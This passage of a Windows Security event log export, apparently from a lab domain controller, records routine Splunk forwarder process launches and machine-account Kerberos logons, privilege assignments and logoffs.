-EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256593 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc10 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:32:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256592 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x429E7F - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 01:32:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256591 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x429F8D - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 01:32:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256590 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x429FD6 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 01:32:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256589 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x42A048 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {250C95BA-D7BE-68DE-E803-AA7B4845FE00} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 65403 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 01:32:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256588 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x42A048 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 01:32:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256587 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x429FD6 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 65402 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 01:32:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256586 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x429FD6 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 01:32:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256585 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x429F8D - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 0 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 01:32:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256584 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x429F8D - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 01:32:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256583 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x429E7F - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 65401 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 01:32:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256582 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x429E7F - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 01:32:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256594 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xed0 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:32:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256595 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10c4 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:32:14 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256596 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xb28 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:32:22 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256597 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x42A048 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 01:32:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256600 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x42C64F - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 01:32:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256599 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x42C64F - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 65414 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 01:32:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256598 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x42C64F - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 01:33:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256601 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xb44 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:33:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256603 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1274 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:33:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256602 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x118c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:33:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256604 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x113c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:33:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256605 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd54 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:33:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256606 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf84 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2 - -Token Elevation 